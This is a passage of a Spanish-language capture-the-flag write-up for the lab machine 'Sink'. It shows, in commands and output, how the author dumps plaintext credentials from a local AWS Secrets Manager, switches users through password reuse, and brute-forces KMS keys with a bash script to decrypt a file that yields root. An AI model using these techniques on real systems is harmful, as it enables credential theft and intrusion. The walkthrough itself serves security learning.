marcus@sink:~$ aws --endpoint-url=http://localhost:4566 secretsmanager list-secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-AZIdv",
"Name": "Jenkins Login",
"Description": "Master Server to manage release cycle 1",
"KmsKeyId": "",
"RotationEnabled": false,
"RotationLambdaARN": "",
"RotationRules": {
"AutomaticallyAfterDays": 0
},
"Tags": [],
"SecretVersionsToStages": {
"53cf9fdf-cb47-4b35-9ba1-046bcb43cfb6": [
"AWSCURRENT"
]
}
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-ILKxI",
"Name": "Sink Panel",
"Description": "A panel to manage the resources in the devnode",
"KmsKeyId": "",
"RotationEnabled": false,
"RotationLambdaARN": "",
"RotationRules": {
"AutomaticallyAfterDays": 0
},
"Tags": [],
"SecretVersionsToStages": {
"97d47d9b-6e95-459e-a0b4-60411a9054d2": [
"AWSCURRENT"
]
}
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-fKqdR",
"Name": "Jira Support",
"Description": "Manage customer issues",
"KmsKeyId": "",
"RotationEnabled": false,
"RotationLambdaARN": "",
"RotationRules": {
"AutomaticallyAfterDays": 0
},
"Tags": [],
"SecretVersionsToStages": {
"b07ec8cf-4f71-41bb-b20b-023d874be8a9": [
"AWSCURRENT"
]
}
}
]
}
Obtenemos 3 plataformas:
- Jenkins Login: Master Server to manage release cycle 1.
- Sink Panel: A panel to manage the resources in the devnode.
- Jira Support: Manage customer issues.
Si intentamos ver alguna data en concreto (los secretos) podemos hacerlo usando el ID, que sería el valor "ARN"
.
Por ejemplo, veamos el valor secreto de Jenkins Login (get-secret-value
):
🛹 Jenkins Login.
marcus@sink:~$ aws --endpoint-url=http://localhost:4566 secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-AZIdv"
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-AZIdv",
"Name": "Jenkins Login",
"VersionId": "53cf9fdf-cb47-4b35-9ba1-046bcb43cfb6",
"SecretString": "{\"username\":\"john@sink.htb\",\"password\":\"R);\\)ShS99mZ~Bj\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1614230338
}
Opa, el valor secreto son unas credenciales:
john@sink.htb
:R);\\)ShS99mZ~Bj
oR);\)ShS99mZ~Bj
Antes de ver si son funcionales, validemos con los otros 2 IDs para ver que tienen:
🛹 Sink Panel.
marcus@sink:~$ aws --endpoint-url=http://localhost:4566 secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-ILKxI"
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-ILKxI",
"Name": "Sink Panel",
"VersionId": "97d47d9b-6e95-459e-a0b4-60411a9054d2",
"SecretString": "{\"username\":\"albert@sink.htb\",\"password\":\"Welcome123!\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1614230338
}
albert@sink.htb
:Welcome123!
🛹 Jira Support.
marcus@sink:~$ aws --endpoint-url=http://localhost:4566 secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-fKqdR"
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-fKqdR",
"Name": "Jira Support",
"VersionId": "b07ec8cf-4f71-41bb-b20b-023d874be8a9",
"SecretString": "{\"username\":\"david@sink.htb\",\"password\":\"EAL8=bcC=`a7f2#k\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1614230338
}
david@sink.htb
:EAL8=bcC=
a7f2#k`
Acá david
es interesante porque lo tenemos presente como usuario de Gitea
y también como usuario de la propia máquina. Validemos en el panel login de Gitea
estas credenciales:
Son funcionales. Probemos si podemos hacer reutilización de contraseñas e intentemos migrarnos a david
pero desde el sistema:
marcus@sink:~$ su david
Password:
david@sink:/home/marcus$ whoami
david
david@sink:/home/marcus$ id
uid=1000(david) gid=1000(david) groups=1000(david)
david@sink:/home/marcus$
Perfectoooooooooooooooooooooooooooooooooooo, somos david
ahora (:
Antes, veamos si hay algo importante usando kms
con AWS CLI
:
marcus@sink:~$ aws --endpoint-url=http://localhost:4566 kms list-keys
{
"Keys": [
{
"KeyId": "0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/0b539917-5eff-45b2-9fa1-e13f0d2c42ac"
},
{
"KeyId": "16754494-4333-4f77-ad4c-d0b73d799939",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/16754494-4333-4f77-ad4c-d0b73d799939"
},
{
"KeyId": "2378914f-ea22-47af-8b0c-8252ef09cd5f",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2378914f-ea22-47af-8b0c-8252ef09cd5f"
},
{
"KeyId": "2bf9c582-eed7-482f-bfb6-2e4e7eb88b78",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2bf9c582-eed7-482f-bfb6-2e4e7eb88b78"
},
{
"KeyId": "53bb45ef-bf96-47b2-a423-74d9b89a297a",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/53bb45ef-bf96-47b2-a423-74d9b89a297a"
},
{
"KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0"
},
{
"KeyId": "837a2f6e-e64c-45bc-a7aa-efa56a550401",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/837a2f6e-e64c-45bc-a7aa-efa56a550401"
},
{
"KeyId": "881df7e3-fb6f-4c7b-9195-7f210e79e525",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/881df7e3-fb6f-4c7b-9195-7f210e79e525"
},
{
"KeyId": "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/c5217c17-5675-42f7-a6ec-b5aa9b9dbbde"
},
{
"KeyId": "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"
},
{
"KeyId": "f2358fef-e813-4c59-87c8-70e50f6d4f70",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f2358fef-e813-4c59-87c8-70e50f6d4f70"
}
]
}
Tenemos unas keys, no sé si sean relevantes, pero pues para tenerlas en cuenta, de los otros parámetros no podemos obtener algo. Sigamos…
…
Escalada de privilegios #
En el /home
de david
tenemos un par de carpetas que nos llevan a un objeto.enc
:
david@sink:~$ ls
Projects
david@sink:~$ cd Projects/
david@sink:~/Projects$ ls
Prod_Deployment
david@sink:~/Projects$ cd Prod_Deployment/
david@sink:~/Projects/Prod_Deployment$ ls
servers.enc
david@sink:~/Projects/Prod_Deployment$ file servers.enc
servers.enc: data
Intentando crackearlo no hacemos nada :P Veamos que podemos relacionar para leer el archivo.
Bueno, buscando encontramos como se pudo haber generado el archivo mediante aws
:
Podemos ver que para generar el archivo se usa un keyId
yyyyyyy anteriormente encontramos varios keyId
s. Tengamos esto presente…
No contamos con aws
, pero mediante kms
tenemos varias funciones para jugar con los keyId
, una llamada decrypt:
Entonces, según la documentación el argumento obligatorio seria:
--ciphertext-blob fileb://
: Que ahí le indicamos la ruta del archivo.enc
Podemos intentar desencriptar el archivo servers.enc
:
# Con ruta absoluta:
david@sink:~$ aws --endpoint-url=http://localhost:4566 kms decrypt --ciphertext-blob fileb://home/david/Projects/Prod_Deployment/servers.enc
Error parsing parameter '--ciphertext-blob': Unable to load paramfile fileb://home/david/Projects/Prod_Deployment/servers.enc: [Errno 2] No such file or directory: 'home/david/Projects/Prod_Deployment/servers.enc'
# Escapando la ruta absoluta:
david@sink:~$ aws --endpoint-url=http://localhost:4566 kms decrypt --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc
An error occurred (AccessDeniedException) when calling the Decrypt operation: The ciphertext refers to a customer master key that does not exist, does not exist in this region, or you are not allowed to access.
Pero nada, solo vemos errores, entiendo que debemos indicarle la keyId
, elijamos cualquiera y veamos que sucede:
david@sink:~$ aws --endpoint-url=http://localhost:4566 kms decrypt --key-id "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc" --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc
An error occurred (DisabledException) when calling the Decrypt operation: f0579746-10c3-4fd1-b2ab-f312a5a0f3fc is disabled.
Nos indica que la operación Decrypt
esta inhabilitada para esa key
, leyendo de nuevo la doc de kms hay un argumento para habilitar una key
, probemos a ver si de eso se trata el error:
# Habilitamos
david@sink:~$ aws --endpoint-url=http://localhost:4566 kms enable-key --key-id "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"
# Ejecutamos de nuevo
david@sink:~$ aws --endpoint-url=http://localhost:4566 kms decrypt --key-id "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc" --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc
An error occurred (InvalidCiphertextException) when calling the Decrypt operation:
Obtenemos un error diferente, relacionado posiblemente a la desencriptación en concreto ( Invalid Ciphertext
) o quizás a que esa key
no es la necesaria para ese archivo…
Creémonos un script para que nos valide con todas las keys.
Las extraemos:
En el script las guardaremos en un archivo temporal para ir leyendo cada una, ahora si hagamos el archivo:
- Agregaremos los argumentos
--output text
y--query Plaintext
(These parameters extract the decrypted data, called the plaintext, from the command’s output.)
#!/bin/bash
# Generamos el archivo con las keys
aws --endpoint-url=http://localhost:4566 kms list-keys | grep KeyId | cut -d '"' -f 4 > keys.tmp
file_with_keys=./keys.tmp
while read keyId; do # Tomamos cada llave del archivo
# Habilitamos la llave
aws --endpoint-url=http://localhost:4566 kms enable-key --key-id "$keyId" 2>/dev/null
echo -ne "\n$keyId:"
# Desencriptamos el archivo servers.enc
aws --endpoint-url=http://localhost:4566 kms decrypt --key-id "$keyId" --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc --output text --query Plaintext
done < $file_with_keys
shred -zun 10 $file_with_keys
Pero no obtenemos nada…
Probemos a jugar con los métodos de encriptación:
> Specifies the encryption algorithm that will be used to decrypt the ciphertext.
>> Possible values:
>>
>> SYMMETRIC_DEFAULT
>> RSAES_OAEP_SHA_1
>> RSAES_OAEP_SHA_256
Entonces adecuando esto a nuestro script quedaría:
#!/bin/bash
# Generamos el archivo con las keys
aws --endpoint-url=http://localhost:4566 kms list-keys | grep KeyId | cut -d '"' -f 4 > keys.tmp
file_with_keys=./keys.tmp
types_algorithms=( SYMMETRIC_DEFAULT RSAES_OAEP_SHA_1 RSAES_OAEP_SHA_256 )
while read keyId; do
echo -e "\n[+] Llave: $keyId:"
for algorithm in "${types_algorithms[@]}"; do # Tomamos cada algoritmo del array y probamos
echo -ne "[*] Algoritmo: $algorithm"
# Habilitamos la llave
aws --endpoint-url=http://localhost:4566 kms enable-key --key-id "$keyId" 2>/dev/null
# Desencriptamos el archivo servers.enc
aws --endpoint-url=http://localhost:4566 kms decrypt --key-id "$keyId" --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc --output text --query Plaintext --encryption-algorithm $algorithm
done
done < $file_with_keys
shred -zun 10 $file_with_keys
Ejecutamos yyyy:
david@sink:/dev/shm/testest$ ./valkeria.sh
[+] Llave: 0b539917-5eff-45b2-9fa1-e13f0d2c42ac:
[*] Algoritmo: SYMMETRIC_DEFAULT
An error occurred (InvalidCiphertextException) when calling the Decrypt operation:
[*] Algoritmo: RSAES_OAEP_SHA_1
An error occurred (InvalidCiphertextException) when calling the Decrypt operation:
...
Opaaaaaaa, logramos desencriptar el archivo y ver el contenido, tenemos una cadena en base64
:
- La llave:
804125db-bdf1-465a-a058-07fc87c0fad0
. - El tipo de algoritmo:
RSAES_OAEP_SHA_256
.
Si intentamos decodear esa string obtenemos:
No obtenemos nada legible, pero de una vez pensé en que posiblemente sea data de algún archivo, entonces tomemos el resultado del decode y guardémoslo en un archivo y veamos que tipo de archivo es:
...
glEwRAEATgL7TAAoAAA=" | base64 -d > result_b64
❭ file result_b64
result_b64: gzip compressed data, from Unix, original size modulo 2^32 10240
Bien, un archivo comprimido, descomprimámoslo:
❭ gzip -d result_b64
gzip: result_b64: unknown suffix -- ignored
Jmmm, buscando en internet sobre este error, encontramos un foro donde alguien recomienda usar zcat
:
¿Pero por qué zcat
?
📁 Normalmente, los archivos comprimidos con gzip
se pueden restaurar a su forma original con los comandos gzip -d
o gunzip
. ¿Qué sucede si desea ver el contenido de un archivo comprimido sin descomprimirlo? Para este propósito, necesita la utilidad zcat
. linux-console
📂 zcat
will uncompress files that have the correct magic number whether they have a .gz
suffix or not. linuxquestions.org
Entonces, si probamos ahora con zcat
:
Eaaa, tenemos un archivo .yml
, donde en su contenido nos encontramos con unas credenciales del usuario admin
. Probémoslas contra el usuario root
en la máquina:
david@sink:/dev/shm/testest$ su root
Password:
root@sink:/dev/shm/testest# id
uid=0(root) gid=0(root) groups=0(root)
Somos roooooooooooooooooooooooooooooooooooooooot (bueno, veamos si realmente lo somos):
root@sink:/dev/shm/testest# cd
root@sink:~# ls
automation desync docker-compose.yml root.txt snap
SÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ somos administradores del sistemaaaaaaaaa (:
Solo nos quedaría ver las flags…
…
¡Qué locura eh!
Me gusto demasiado la máquina (: Lo que más me dejo loco fue el HTTP Request Smuggling
.
Que bonito fue este camino. el jugar con aws
de esa manera, increíble. Y nada, como siempre, muchas gracias por leer (este si fue gigante)…
Yyyy a seguir rompiendo todo (:
Comments